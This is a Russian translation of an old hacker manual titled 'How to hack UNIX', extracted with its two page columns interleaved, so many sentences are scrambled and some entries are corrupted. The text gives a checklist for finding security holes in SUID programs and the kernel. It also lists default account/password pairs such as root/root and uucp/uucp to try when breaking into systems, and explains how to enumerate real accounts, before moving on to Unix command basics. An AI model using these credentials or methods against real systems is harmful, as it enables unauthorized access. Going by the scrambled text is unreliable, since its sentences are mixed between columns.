2) Коды завершения/условия ошибки
Выбор стратегии защиты и ее 3) Непредвиденный ввод
применение
4) Параметры маршрутизации
Четвертый вид проблем с безопасностью
касается адекватного восприятия. Хорошие 5) Проверка на аутентичность
программы, защищенное «железо», но вполне 6) Имплицитное доверие
совместимые компоненты системы не заработают, 7) Параметры
если только вы не выберете соответствующую
8) Разрешения
стратегию защиты и не включите отвечающие за
безопасность сегменты системы. Даже 9) Прерывания
использование самого лучшего на свете механизма 10) Ввод / вывод
паролирования не даст никакого результата, если
11) Символические связи
ваши пользователи считают лучшим паролем свой
собственный логин! Безопасность — это

33 34
Как взломать UNIX Как взломать UNIX

12) Демоны, особенно доступные Этап 1


пользователям. Изучение структуры управления данной
13) Параметры маршрутизации в ядре конкретной системы.
Предложенную схему можно разбить на Чтобы найти лазейки в системе
категории и подкатегории: безопасности и определить ее дефекты,
необходимо четко уяснить структуру управления
I: Suidбинары и сценарии
системы и ее уровни.
а) Непредвиденные действия пользователя
Вот что нужно знать:
б) Свободные подключения
A) Объекты защиты: то, что надо защитить.
в) Имплицитные предположения о внешних Например: файлы пользователей.
условиях (ссылки sym, loc.пути)
B) Объекты управления: то, что защищает
г) Параметры маршрутизации объекты защиты. Например: inode (индексные
II: Демон, функционирующий со SUID дескрипторы).
а) Параметры маршрутизации C) Смешанные объекты: объекты,
б) Недостаточная защита файла подпадающие под обе категории. Например: файл
пароля.
в) Имплицитная защита файла
С таким списком в руках становится
г) Доверие возможным графически воспроизвести всю
д) Аутентичность иерархию управления и определить вероятные
III: Проблемы ядра пути взлома. Очень действенно и создание
диаграмм для визуализации возможного
а) Параметры маршрутизации в ядре прерывания связей.
б) Код драйвера устройства Найти необходимую информацию можно в
Ниже рассматривается четырехэтапный различных пользовательских, операторских и
метод, разработанный System Development администраторских мануалах.
Corporation и дающий 65%ную гарантию Довольно полезным может оказаться и
обнаружения дефектов в системе безопасности. изучение исходного кола. Для тех, кто пользуется
Поиск таких «дыр» в операционной системе нелицензированными продуктами, советуем
включает четыре этапа: использовать дистрибутивы LINUX, NET2 и
BSD386. В будущем, возможно, станет

35 36
Как взломать UNIX Как взломать UNIX

реальностью рабочий контракт между отдельным именно как suid, манипулируя каналами для
лицом или компанией, обладающими легальными разрешения проблем с доступами файлов.
дистрибутивами, и другими участниками этого Хорошо бы разработать базу данных,
проекта. Таким образом, фрагменты кода могут которая бы сравнивала парные и тройные данные,
быть использованы в учебных (академических) как то: название программы, suid, sgid, объект
целях постольку, поскольку они не используются обращения (почему данная программа работает
для извлечения прибыли — впрочем, это под suid/sgid), версия OS и ее происхождение.
необходимо проверить.
Этап 3
Этап 2
Проверка предположений. (Тестирование
Создание списка возможных дефектов (то системы на предмет обнаружения дефектов).
есть предполагаемых дефектов).
Хронология кода: Этап 4
В чем состоит различие версий UNIX? Это Обобщение полученной информации с
бывает важно при создании перекрестных ссылок акцентированием специфических проблем данной
(очень часто некий продавец вносит в пакет системы.
изменения, а его версия получает широкое
распространение). Глава 15: Обнаружение отдельных
Жесткая перекрестная ссылка: дефектов
Командой who проверьте OS на наличие
ошибок и установите, какая версия поможет вам 1) Ищите подпрограммы, которые не
избежать двойной работы. проверяют диапазоны или параметры ввода.

Хорошо бы сначала вывести полный список Например: семья подпрограмм gets,


всех suidбинаров в различных версиях OS. Затем позволяющая перезаписывать границы буферов
попытайтесь выяснить причину определения suid к (sprintf()?, gets () и т.д.). А также strcpy (),
каждой конкретной программе. Например: rcp вмонтированная в большинство src:
имеет корневой suid, потому что использует #define SCYPYN((a)(b)) strcpy(a, b, sizeof(a))
привилегированный порт для установления 2) SUID/SGID подпрограммы, написанные
аутентичности пользовательских имен. Часто код, в одной из оболочек вместо C или PERL.
изначально созданный не как suid, функционирует 3) SUID/SGID подпрограммы, написанные
в PERL и неиспользующие программу taintperl.

37 38
Как взломать UNIX Как взломать UNIX

4) SUID/SGID подпрограммы, 10) В manстраницах и в различных


использующие system(), popen(), execlp() или руководствах просмотрите параграфы с
execvp() при выполнении заданий. предупреждениями против выполнения тогото и
5) Любая программа, которая использует изменения сегото. Обратите внимание на разделы
относительные имена пути. «Ошибки».
6) Использование относительных имен 11) Поищите редко используемые или
путей для определения динамически связанных необычные функции или команды — например,
библиотек. чтение в обратном направлении.
7) Подпрограммы, не проверяющие ошибки В частности, интересные результаты может
в кодах возврата при системных вызовах. дать поиск не нашедших отражение в инструкциях
(Например: fork(2), suid(2), setuid() как в флагов/аргументов.
знаменитой ошибке rcp). Проверьте флаги, работающие в более
8) Дефекты часто могут быть обнаружены в ранних выпусках вашей операционки или в других
коде, который: OS версиях. Проверите опции, которые могут быть
использованы другими программами. Например,
а) импортирован в новую среду; telnet использует опцию h для входа в систему...
б) получил несанкционированный ввод; ладно, пропишите в login.c:
в) взаимодействует с другим локальным if((getuid()) && hflag){
программным обеспечением; syslog()
г) обращается к системным файлам, exit()
подобным passwd, L.sys, и т.д.; }
12) Просмотрите условия маршрутизации.
д) считывает входные данные из свободно
перезаписываемого файла/каталога; 13) Отключите часть софта, и тем самым вы
проверите, действительно ли она, эта часть,
е) представляет собой одну из программ
связана с предполагаемым вами программным
диагностики, которые чаще всего не позволяют
обеспечением или аппаратным модулем.
пользователю защищать информацию.
14) Отладьте процесс обнаружения ошибок
9) Тестирование кода на предмет
так, чтобы он не отражался на системе
несанкционированного доступа. Средства для
безопасности.
этого, включая различные утилиты, вполне
доступны.

39 40
Как взломать UNIX Как взломать UNIX

15) Недостаточная отлаженность, 25) Любая программа, функционирующая с


приводящая, например, к созданию неверных системными привилегиями. (Слишком много
условий проверки кодов. программ имеют UID 0, что облегчает доступ к
16) Имплицитное доверие: подпрограмма B некоторым таблицам и проч.)
принимает параметры подпрограммы А, потому 26) Группа свободночитаемых временных
что подпрограмма А является системным файлов, буферов, и т.д.
процессом. 27) Неотлаженность пороговых значений и
17) Память системы — это данные или регистрации.
ссылка на параметры пользователя в адресном 28) Изменение параметров особо важных
пространстве пользователей. областей системы до их выполнения
18) Интерсвязь во время процессов: одновременно запущенным процессом (условия
возвращение условий (passwd OK, illegal parameter, маршрутизации).
segment error и т.д.) может стать источником 29) Неадекватная проверка границы при
серьезных проблем, особенно вкупе с п.17. компиляции, например, в случае, когда
19) Параметры пользователя не поддаются пользователь может запустить машинный код,
адекватной проверке. оформленный как общие данные в области
20) Адреса, перекрывающие друг друга или данных (если текстовая область и область данных
обращающиеся к другим областям системы. разделены).
21) Пропуск проверки. 30) Неправильное прерывание
пользователем работы компьютера. Большинство
22) Сбой системы предупреждения о пользователей сначала или прерывают
необычных параметрах. выполняемый процесс или доводят его до конца, а
23) Найдите уровни системы, в которых уже потом выключают компьютер, в то время как
ряд модулей был написан различными другие, не закончив корректно свою работу,
программистами или группами оставляют систему фактически в незащищенном
программистов — обязательно обнаружатся состоянии, оставляя открытыми файлы, в которых
«дырки». велась запись.
24) Регистраторы, указывающие на 31) Код, использующий fopen(3) без
месторасположение значений параметра вместо установки umask. (Например: at(1) и др.)
того, чтобы передать это значение
непосредственно.

41 42
Как взломать UNIX Как взломать UNIX

Вообще любой код, не перезапускающий неограниченный доступ к памяти, и таким


UID перед началом параллельного действия. образом системный код может быть изменяться в
32) Trace — ваш хороший помощник (или памяти еще до своего выполнения.
truss в SVR4). Он выясняет, какие системные 40) Найдите ошибки, существующие во
вызовы используются программой. многих частях программного обеспечения. К
33) Тщательно проверьте /usr/local. Многие примеру, скажем, программа А может быть
администраторы устанавливают программное использована для изменения файла конфигурации
обеспечение из сети. Часто вы найдете здесь /etc/a, программа В принимает эту информацию
tcpdump, top, nfswatch... они запросто могут без проверки, и все это может привести к
использовать корневой suid. непредвиденным результатам (только посмотрите,
сколько программ доверяют /etc/utmp).
34) Проверьте программы под suid и
убедитесь, что они являются именно теми самыми 41) Любые программы, особенно
продуктами, которые были установлены сначала. допускающие выход из оболочки и идущие под
Администраторы иногда меняют пароли, что менее suid/sgid.
безопасно, чем дистрибутивная версия.
35) Найти программы, устанавливающие
программное обеспечение или загружаемые
модули ядра.
36) Вообще динамически связанные
программы. Вспомните LD_PRELOAD, думаем,
что это еще не предел.
37) Программирование канала I/O — вот,
что сейчас главное. Ищите логические ошибки,
противоречия и удаления.
38) Если возможно, отследите в I/O
программе наличие возможности самостоятельного
модифицирования и запуска циклов (preload
может помочь это осуществить это).
39) Если каналы I/O действуют как
независимые процессоры, то они могут иметь

43 44
Система Unix Система Unix

Часть вторая команд, которые используются операционной


системой. Некоторые варианты могут иметь
Система Unix особенности, которых нет в других, но они в
основном схожи в том, что имеют много
одинаковых команд и файлов данных. Когда вам
ктото станет доказывать, что UNIX используется
в определенных типах компьютеров, то это,
Глава 1: А теперь немного истории возможно, и так, но помните, что некоторые
UNIX, конечно, был изобретен AT&T гдето компьютеры имеют более одной операционной
в 60ых как «операционная система системы. Например, вам могут сказать, что UNIX
программиста». Во времена, когда изобрели UNIX, соответствует компьютерам VAX так же, как
эта цель не была, вероятно, достигнута, зато МСДОС соответствует IBMклонам. Это неверно,
теперь, похоже, UNIX стала ОС программиста. и мы упоминаем об этом только потому, что
Как уже говорилось, это многозадачная и видели много сообщений с подобными
многопользовательская ОС. К тому же она сравнениями, которые смущают пользователей,
написана на языке С, во всяком случае, немалая когда они видят VAX, работающий под VMS.
ее часть, что делает ее портативной операционной
системой. Мы знаем, что МСДОС соответствует Глава 2: Идентификация Unix
компьютерам IBM и их клонам, верно? Так вот, с
UNIX ситуация иная. Он не соответствует С этого момента мы будем обозначать все
никаким компьютерам, поскольку был варианты UNIX просто как UNIX, так что когда
адаптирован ко многим, и существует много будет говориться чтото о UNIX, то, как правило,
вариантов UNIX (то есть, UNIX измененный будут подразумеваться все варианты (то есть,
продавцом, или нечто подобное). Некоторые варианты Unix System V: BSD, SunOS, Ultrix,
AT&T компьютеры работают под UNIX, а Xenix, и т.д.), если только явно не будет указан
некоторые под МСДОС (AT&T 6300). Рабочие конкретный.
станции Sun работают под SunOS, это тоже Теперь пора рассказать, как unix обычно вас
вариант UNIX, а некоторые VAX компьютеры приветствует. Сначала, когда вы вызываете UNIX,
управляются Ultrix, это VAXверсия UNIX. или соединяетесь с машиной, где он работает, вы
Запомните: независимо от того, как называется обычно видите такую подсказку:
операционная система (BSD, UNIX, SunOS, Ultrix, Login:
Xenix, и т.д.), они все имеют много общего вроде

45 46
Система Unix Система Unix

Порядок. Это означает, что это вероятно ACCOUNT ПАРОЛЬ


Unix, хотя имеются BBS, способные имитировать root root — (редко открыт для
loginпроцедуру OS (операционной системы), и хакеров)
заставлять некоторых верить в то, что это и есть sys sys / system / bin
Unix. (Ха!) Некоторые Unix'ы представляются или
выдают перед Login: сообщение вроде такого: bin sys / bin
Welcome to SHUnix. Please log in. mountfsys mountfsys
(Добро пожаловать в SHUNIX. Пожалуйста adm adm
зарегистрируйтесь) uucp uucp
Login:
nuucp anon
Или чтото в этом роде. Unix'ы свободного
доступа (например, в BBS свободного доступа) anon anon
сообщат вам, как надо регистрироваться, если user user
вы — новый пользователь. К сожалению, эта глава games games
не о Unix'ах свободного доступа, но о них мы
install install
кратко поговорим позже, например об адресе
UUCP/USENET/BITNET для почты. reboot * ni. ie?a
Итак. Вы добрались до регистрации (login)! demo demo
Теперь вам надо ввести действующий экаунт umountfsys umountfsys
(account). Он обычно состоит из 8 или меньше
sync sync
символов. После ввода экаунта вы скорее всего
увидите приглашение ввести пароль. Приглашения admin admin
могут иметь различный вид, поскольку исходные guest guest
коды для программы регистрации обычно
daemon daemon
поставляются вместе с UNIX, или доступны
бесплатно. Так вот, можно посоветовать такой Экаунты root, mountfsys, umountfsys, install
простейший способ регистрации: получите экаунт и, иногда, sync — это экаунты корневого уровня.
или попробуйте ввести значения по умолчанию. Это означает, что они работают на уровне
Эти значения поставляются вместе с системного администратора или глобально.
операционной системой в стандартной форме. Вот Остальные логины есть всего лишь логины
список некоторых значений по умолчанию: «пользовательского уровня», и это означает, что
им подвластны лишь файлы/процессы,

47 48
Система Unix Система Unix

принадлежащие этому конкретному пользователю. сообщение об ошибке. Обычно это сообщение


Логин REBOOT относится к так называемым «login incorrect».
командным логинам, он не пропускает вас в ОС, а Когда компьютер выдает такое сообщение,
простонапросто выполняет связанную с ним это означает, что вы ошиблись, и ввели или
программу. Как правило, он делает именно то, что неверный экаунт, или верный экаунт, но
обозначает — перезагружает систему. Возможно, неверный пароль. По очевидным причинам
он не стандартен во всех Юниксах, но его можно система не станет вам подсказывать, какую
увидеть в Юниксах UNISYS, а также в системах именно ошибку вы допустили. Кроме того, когда
HP/UX (Hewlett Packard Unixes). Пока что эти вы регистрируетесь с ошибкой, обновляется файл
экаунты не защищены паролями, что на наш журнала регистрации, и об этом узнает сисадмин.
взгляд весьма глупо.
Другое сообщение об ошибке — это «Cannot
Командные логины change to home directory» или «Cannot Change
Существуют «командные логины», которые, Directory». Это означает отсутствие «home
подобно логину перезагрузки (reboot), исполняют directory», то есть «корневого» раздела экаунта, то
команду и отключают вас от системы, не позволяя есть раздела, из которого вы начинаете работу. В
пользоваться интерпретатором команд. Наличием ДОС вы стартуете из А:\ или С:\, или еще
таких логинов печально знамениты компьютеры откудато, а в Юниксе — из /homedirectory.
BSD и MIT (Массачусетского технологического (Примечание: в Юниксе в разделах используется /
института). Вот список некоторых: (прямой слеш), а не \ (обратный слеш)).
Большинство систем отключит вас после такого
● rwho — показать, кто в онлайне прокола, но некоторые сообщат, что поместят вас
● finger — то же в корневой раздел ['/'].
● who — то же Другое сообщение об ошибке «No Shell».
Они весьма полезны, поскольку выдают Оно означает, что для этого конкретного экаунта
список экаунтов подключенных пользователей, и не определен «shell», то есть «оболочка». О ней мы
тем самым показывают реально существующие поговорим позднее. Большинство систем отключит
экаунты. вас после такого сообщения, но некоторые
сообщат, что станут использовать обычную
Ошибки (стандартную) оболочку, выдав «Using the bourne
Когда вы введете ошибочный shell» или «Using sh».
экаунт/пароль, или и то, и другое, система выдаст

49 50
Система Unix Система Unix

Глава 3: Общие сведения об процессор). Интерпретатор команд — это нечто,


похожее на COMMAND.COM в MS DOS,
экаунтах который обрабатывает команды и пересылает их в
Надеюсь, эта глава поможет вам понять ядро (операционную систему). Как уже было
пользовательскую структуру среды Юникс. сказано, оболочкой может быть любая программа,
но вам нужен именно интерпретатор команд. Вот
Так вот, считайте, что Юникс имеет два
перечень обычных оболочек, которые вы
уровня безопасности: абсолютную власть и
обнаружите:
обычный пользователь. Абсолютной властью
обладают пользователи корневого уровня. Теперь ● sh — это «родная» оболочка, базовый
давайте мыслить числами. Юникс ассоциирует «COMMAND.COM» Unix. Он имеет
числа с именами экаунтов. Каждый экаунт имеет «скриптовый» язык, как и большинство
номер. Этот номер есть UID (идентификатор командных процессоров систем Unix.
пользователя) экаунта. У корневого пользователя ● csh — это оболочка «С», позволяющая
UID — это 0 (ноль). Каждый экаунт с UID = 0 вводить Сподобные команды.
будет иметь доступ к корню. Юникс обрабатывает ● ksh — это оболочка korn. Просто еще один
не имена экаунтов (логинов), а связанные с ним интерпретатор команд.
числа. Например, если ваш UID = 50, и еще
чейто UID тоже 50, то вы оба имеете абсолютную ● tcsh — это оболочка, используемая в MIT.
власть друг над другом, но только вы, и никто Позволяет редактировать команды.
иной. ● vsh — визуальная оболочка, работающая через
меню. Нечто вроде... Windows для DOS.
Глава 4: Оболочки ● rsh — restricted (ограниченная) или remote
(удаленная) оболочка.
Оболочка — это исполняемая программа,
Есть и множество других оболочек, включая
которая загружается и начинает работать в
«самодельные», то есть программы, написанные
фоновом режиме, когда пользователь входит в
владельцем Unix, или под конкретную версию
систему. Такой «оболочкой» может быть любая
Unix, и все они нестандартные. Запомните,
исполняемая программа, указанная в
оболочка есть всего лишь программа, которой вам
пользовательском файле «passwd». Каждый логин
придется пользоваться, и когда она кончает
может иметь свою уникальную «оболочку». Идем
работу, вас отключают от системы. Хороший
дальше. Оболочка, с которой мы обычно будем
пример самодельной оболочки можно найти на
работать — это интерпретатор команд (командный

51 52
Система Unix Система Unix

Eskimo North, это Unix свободного доступа. Control$J


Оболочка называется «Esh», и это нечто вроде В некоторых системах срабатывает как
«одноклавишной BBS», но это, тем не менее, все клавиша «ввод».
равно оболочка.
Некоторые компании используют в качестве @
пользовательских оболочек текстовые редакторы, Иногда означает «отмена».
базы данных и прочий софт — чтобы
предотвратить ошибки неопытных пользователей и ?
облегчить им жизнь. Кроме того, в качестве Это wildcard (маска). Может обозначать
оболочки может использоваться BBS. букву. Если вы укажете в командной строке,
скажем, «b?b», то Unix станет искать bob, bib, bub,
Когда вы работаете в интерпретаторе
и все остальные буквы/цифры в интервале az,
команд, подсказка обычно выглядит так:
09.
$
Когда вы корневой пользователь, подсказка *
обычно выглядит так: Может означать любое число символов.
# Если вы укажете «hi*», то это означает hit, him,
Можно задать значение переменной PS1 для hiiii, hiya, и что угодно, начинающееся с hi. «H*l»
хранения подсказки. Например, если PS1 задана может значить hill, hull, hl, и что угодно,
как «HI:», то и ваша подсказка будет выглядеть начинающееся с h и кончающееся l.
так же:
HI: []
Указывает диапазон. Если ввести b[o,u,i]b то
это означает: bib, bub, bob. А если ввести b[ad]b
Глава 5: Спецсимволы то это значит: bab, bbb, bcb, bdb.
[], ?, и * обычно используются при
Control$D
копировании и удалении файлов или выводе
Конец файла. Когда вы работаете с почтой списков файлов в разделах.
или текстовым редактором, это означает конец
сообщения или текстового файла. Если вы В Unix учитывается регистр. Это означает,
нажмете controld находясь в оболочке, то выйдете что «Hill» и «hill» — вовсе не одно и то же. Это
из системы. позволяет хранить много файлов, поскольку «Hill»,
«hill», «hIll», «hiLl» и так далее могут быть

53 54
Система Unix Система Unix

разными файлами. Поэтому, пользуясь [], вы Пояснения:


должны указывать заглавные буквы, если имена rwxxx — это файловый доступ.
нужных вам фалов их содержат. Однако почти все
пишется прописными буквами. sirhack sirh — это владелец файла и группа,
в которой файл находится. sirhack = владелец,
sirh = пользовательская группа, в которой файл
Глава 6: Команды находится.
Теперь мы перечислим некоторые полезные 10990 — размер файла в байтах
команды Unix. Все будет выглядеть так, как если runme — имя файла
бы мы реально вводили команды через командную
строку. cat
Выводит файл на экран. Следует применять
ls к текстовым файлам. Применительно к бинарным
Просмотр раздела. Без аргументов эта файлам используется только чтобы издеваться над
команда просто выводит имена файлов в одну или пользователями. Пример:
несколько колонок, в зависимости от того, к $ cat note.txt
какой именно версии программы ls вы имеете Это образец текстового файла!
доступ. Пример: $
$ ls
hithere cd
runme Сменить раздел (директорию). Записывается
note.text примерно так: cd /dir/dir1/dir2/dirn. dir1/... это
src имена разделов. Допустим, мы хотим перейти в
$ корневой раздел:
Через ключ l выводится расширенная $ cd /
информация о файлах: *порядок, я уже там*
$ ls l $ ls
rwxxx sirhack sirh 10990 runme bin
и так далее... sys
etc
temp
work

55 56
Система Unix Система Unix

usr runme
кстати, все, что выше — это разделы note.text
$ cd /usr src
$ ls runme2
sirhack Чтобы скопировать в другой раздел, можно
datawiz указать полный путь.
prophet $ cp runme /usr/datwiz/runme
src
violence mv
par Переименование файла.
phiber
Синтаксис: mv старое_имя новое_имя
scythian
$ cd /usr/sirhack $ mv runme2 runit
$ ls $ ls
hithere hithere
runme runme
note.text note.text
src src
$ runit
Так вот, полное имя раздела вводить не Можно переименовывать файлы в других
надо. Если вы находитесь в разделе, и хотите разделах:
попасть в (под)раздел, который находится здесь же $ mv runit /usr/datwiz/run
(скажем, «src»), то можете ввести «cd src» [без «/»]. $ ls
Вместо ввода «cd /usr/sirhack/src» из sirhack dir вы hithere
можете ввести «cd src». runme
note.text
cp src
Копирует файл. $ ls /usr/datwiz
runme
Синтаксис: cp из_файла в_файл
run
$ cp runme runme2
$ ls
hithere

57 58
Система Unix Система Unix

pwd write
Переход в текущий раздел Поболтать с другим пользователем. Ну,
$ pwd «написать» другому пользователю.
/usr/sirhack Синтаксис: write имя_пользователя
$ cd src $ write scythian
$ pwd scythian has been notified (scythian был
/usr/sirhack/src уведомлен)
$ cd .. Привет Scy! Как дела??
$ pwd Message from scythian on tty001 at 17:32
/usr/sirhack Привет!
(".." означает "использовать имя раздела на я: Как жизнь?
один уровень выше") scy: Да вроде нормально.
$ cd ../datwiz я: Мне пора дописывать этот текст.
(обозначает cd /usr/datwiz) scy: ok
$ pwd я: controlD [для выхода из программы]
/usr/datwiz $
$ cd $home
(перейти в раздел home) who [w, who, whodo]
$ pwd Выводит список тех, кто в онлайне:
/usr/sirhack $ who
rm login term logontime
scythian + tty001 17:20
Удалить файл.
phiberO + tty002 15:50
Синтаксис: rm имя_файла или sirhack + tty003 17:21
rm r имя_раздела datawiz — tty004 11:20
$ rm note.text glitch — tty666 66:60
$ ls $
hithere Команда who может выдавать разную
runme информацию. «+» означает, что вы можете write на
src этот терминал, а «» — что не можете.
$

59 60
Система Unix Система Unix

man umodem
Показывает подсказку о команде. Послать/получить через send/recieve via
Синтаксис: man имя_команды. Это umodem.
программа помощи. Если хотите узнать, как $ sz filename
пользоваться who, то введите: ready to send... (готов послать...)
$ man who $ rz filename
WHO(1) xxx...... please send your file... (пожалуйста, пошлите
ваш файл...)
и получите подсказку.
...etc.. (и т.д.)
stty ed
Задает характеристики терминала. Вам Текстовый редактор.
придется ввести «man stty», поскольку каждый stty,
похоже, отличен от другого. Пример: Синтаксис: ed имя_файла.
$ stty parenb Для создания нового файла просто введите
чтобы установить параметры данных N,8,1. ed имя_файла
Многие Unix по умолчанию работают при e,7,1. $ ed newtext
0
sz, rz * a
Послать/получить через zmodem. Это строка 1
Это строка 2
rx, sx [controlz]
Послать/получить через xmodem. * 1 [чтобы увидеть строку 1]
Это строка 1
rb, sb * a [продолжаем добавлять]
Послать/получить через batch (пакетный) Это строка 3
ymodem. [controlz]
*0a [добавить после строки 0]
Эти 6 программ могут в Unix быть, а могут
Это ПЕРВАЯ строка
и не быть.
[controlz]
1,4l
Это ПЕРВАЯ строка
Это строка 1

61 62
Система Unix Система Unix

Это строка 2 Синтаксис: chmod mode filename (chmod


Это строка 3 режим имя_файла)
* w $ chmod a+r newtext
71
Теперь все могу читать newtext:
* q
$ a — all (все)
В данном примере использовались: r — read (читать).
71 — число записанных байтов.
chown
a — добавить Сменить владельца файла.
l — просмотр Синтаксис: chown владелец filename
# — напечатать номер строки $ chown scythian newtext
w — записать $
l fname — загрузить файл fname chgrp
s fname — сохранить с именем fname Сменить группу файла.
w — записать в текущий файл Синтаксис: chgrp group file
q — выход $ chgrp root runme
$
mesg
Включает/выключает разрешение «писать»
finger
(write) на ваш терминал (разрешает чат). Вывести основную информацию об экаунте.
Формат: «mesg y» (да) или «mesg n» (нет). Формат: finger имя_пользователя

cc grep
Компилятор Си. Искать в файле цепочку символов.
Синтаксис: grep цепочка file
chmod $ grep 1 newtext
Смена «режима» файла. Другими словами, Это строка 1
смена доступа. $ grep ПЕРВАЯ newtext
Это ПЕРВАЯ строка

63 64
Система Unix Система Unix

$ grep "ПЕРВАЯ line 1" newtext sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!


$ optik!phiber
Но не забивайте себе головы. Мы просто
mail
объясняем принципы. Но если умного мейлера
Очень полезная утилита. Вы уже наверняка нет, то вы должны знать полный путь к тому, кому
догадались по имени, для чего она. Их существует вы хотите послать почту. Например, я хочу
несколько, например, ELM, MUSH and MSH, но послать сообщение к phiber. И если умного
базовая почтовая программа называется mail. Как мейлера нет, то я должен писать так:
ей пользоваться:
$ mail
mail username@address sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!
или optik!phiber
Привет. Как дела? Ну, мне пора. Длинное вышло
mail username
письмецо, верно?
или (controlD)
mail $
или Когда он это сообщение получит, в нем
будет строк 20 информации, это нечто вроде
mail addr1!addr2!addr3!user
почтовых штемпелей всех систем, через которые
«mail username@address» — такая запись мое сообщение прошло, а строка «от кого» будет
используется для посылки почты комуто в другой выглядеть так:
системе. Обычно это другой UNIX, но некоторые From optik!sirhacksys!att.com!sc1!sbell!pacbell!
DOS и VAX машины могут принимать Unix Mail. unisys!sys!sirhack <Sir Hack>
Когда вы используете «mail user@address», то ваша
Для посылки локального сообщения
система должна иметь «умный мейлер» и то, что
достаточно набрать «mail username», где
мы называем «планами системы». «Умный мейлер»
username — логин получателя. Затем наберите
распознает «адресную» часть команды и обычно
сообщение и завершите его controlD.
расширяет ее до полного пути. Это может
выглядеть так: Для чтения поступившей вам почты просто
введите mail. То есть:
mail phiber@optik
а в компьютере выглядеть так: $ mail
От: scythian ............
mail
Кому: sirhack ............

65 66
Система Unix Система Unix

Тема: Well.... потому что тут все будет как с обычным


Ну, блин! письмом — его должен забрать «почтальон». Для
? передачи почты система может вызвать и
Точки обозначают всякую пропущенную использовать UUCP. Обычно UUCP экаунты
бредятину. Каждая версия программы mail никому не нужны — если только у вас не
оформляет свои заголовки. используется UUCP, способный перехватывать
Знак вопроса — это подсказка. После него почту.
можно ввести:
ps
● d — удалить Процесс. Эта команда позволяет увидеть,
● f username — переслать копию к username что именно вы делаете в оперативной памяти. При
● w fname — записать сообщение в файл с каждом запуске программы ей для учетных целей
именем fname назначается Идентификатор Процесса (PID), и
поэтому ее можно отследить в памяти, а также
● s fname — сохранить сообщение с заголовком закрыть — вами или корневым пользователем.
в файл с именем fname Обычно команда ps в перечне процессов первой
● q — выйти/обновить mail указывает имя запущенной вами оболочки.
● x — выйти, но ничего не менять Допустим, я вошел под логином sirhack, используя
оболочку «csh», и у меня работает «watch scythian».
● m username — написать сообщение к
Программа watch перейдет в фоновый режим, то
username
есть я смогу делать чтото другое, пока она
● r — ответить отправителю работает:
● [enter] — прочесть следующее сообщение $ ps
● + — перейти на одно сообщение дальше PID TTY NAME
122 001 ksh
●  — вернуться на одно сообщение назад 123 001 watch
● h — распечатать заголовки сообщений из $
почтового ящика. Это сокращенный листинг PS, выводящийся
Есть и другие команды. Чтобы увидеть их по умолчанию. В колонке TTY перечислены «tty»
перечень, обычно вводят '?'. (устройства ввода/вывода) через которые был
запущен process. Это действительно полезно знать
Если вы посылаете почту комуто не из
только в том случае, если вы используете слои
своей системы, то ответа придется ждать дольше,

67 68
Система Unix Система Unix

(спокойно!), или более одного пользователя вошли 123 001 watch


в систему с тем же экаунтом. Команда ps f выдаст $ kill 9 123
полный листинг процессов, поэтому вместо [123]: killed
краткого «watch» вы скорее всего увидите «watch $ kill 9 122
scythian». garbage
NO CARRIER
kill Вы также можете ввести «kill 1 0», чтобы
Прервать процесс. Очевидно, что команда прервать свою оболочку и выйти из системы. Это
используется для прекращения работы программы полезно в скриптах.
в памяти. Вы можете прервать только те процессы,
которыми владеете (те, которые вы запустили),
если только вы не корневой пользователь или если
Глава 7: Программирование
ваш EUID такой же, как и у процесса, который оболочки
вы хотите прервать. (Про EUID потом). Если вы
Программирование оболочки есть по сути
прервете процесс оболочки, то вылетите из
создание «скриптового» файла для стандартной
системы. По тому же принципу, если вы вырубите
оболочки, то есть sh, ksh, csh или их
процесс чьейто оболочки, то этот ктото тоже
разновидностей. Это нечто вроде .bat файла
вылетит. Поэтому, если я введу «kill 122», то
MSDOS, но более сложного и более гибкого. Он
система меня выплюнет. Однако kill лишь
может оказаться полезным в одном аспекте
посылает UNIX сигнал с указанием «прервать
хакерства.
процесс». И если вы примените синтаксис «kill
pid», то UNIX вырубит процесс тогда, когда ему Сперва займемся переменными.
захочется, а такое может не случиться никогда. Переменным, очевидно, можно присвоить
Значит, вы можете сами определять срочность! значения — как символьные, там и числовые.
Попробуйте «kill num pid» (num — число). Выражение
Kill 9 pid — это безусловное и почти number=1
мгновенное прерывание. присваивает переменной «number»
$ kill 122 значение 1.
$ kill 123 string=Hi There
$ ps или
PID TTY NAME string="Hi There"
122 001 ksh

69 70
Система Unix Система Unix

Оба выражения присваивают переменной Sir Hackalot


string значение «Hi there». Привет Sir Hackalot
Однако использование переменной — это Запомните: read может считывать и числовые
совсем другое дело. Если вы хотите использовать значения.
переменную, перед ней должен стоять знак
доллара ($). Такие переменные могут быть
trap
использованы в программах в качестве аргументов. Отслеживает применение кемто команды
Когда было написано, что скрипты подобны bat прерывания (Ctrlc).
файлам, то имелось в виду именно это. В файл Формат:
скрипта можно ввести имя любой программы, и trap "command; command; command; и т.д."
она будет исполнена. Вот простой скрипт:
Пример:
counter=1
arg1="uf" trap "echo 'Фигушки!! Ты так легко от меня не
arg2="scythian" избавишься' ; echo 'Придется тебе это
ps $arg1 $arg2 прочитать!'"
echo $counter И теперь, если я нажму controlc во время
Этот скрипт выполняет трансляцию в работы скрипта, то увижу на экране вот что:
«ps uf scythian», а после завершения работы Фигушки!! Ты так легко от меня не избавишься
печатает «1». Еcho выводит на экран как Придется тебе это прочитать!
текстовые, так и цифровые константы.
еxit
Другие команды и примеры: Формат: exit [число]. Обеспечивает выход из
оболочки, возвращая код, равный «числу».
read
Считывает чтолибо в переменную. CASE
Формат: read переменная. Здесь знак доллара Выполнение case подобно выбору из меню.
не нужен! Если я хочу узнать чьето имя, то могу Формат команды или структуры таков:
написать: case переменная in
echo "Как ваше имя?"
1) command;
read hisname
echo Hello $hisname command;;
Как ваше имя? 2) command;

71 72
Система Unix Система Unix

command; repeat scythian sirhack prophet


command;; то увижу на своем экране scythian, затем
sirhack, затем prophet.
*) command;;
Петля for определяется как
esac
for для переменной в чемто
Каждая часть может иметь любое
количество команд. Однако после последней do (делай)
команды должны стоять «;;». Возьмем такое меню: ..
echo "Выберите:" ..
echo "(D)irectory (L)ogoff (S)hell"
done (сделано)
read choice
case $choice in пример:
D) echo "Создаю раздел..."; for counter in 1 2 3
ls al ;; do
L) echo Пока; echo $counter
kill 1 0;; done
S) exit;; Будут выведены значения 1, затем 2,
*) Echo "Ошибка! Это не команда ";; затем 3.
esac
esac обозначает конец функции case. Он
должен стоять после последней команды.
Глава 9: Использование TEST
Формат: Test переменная опция переменная
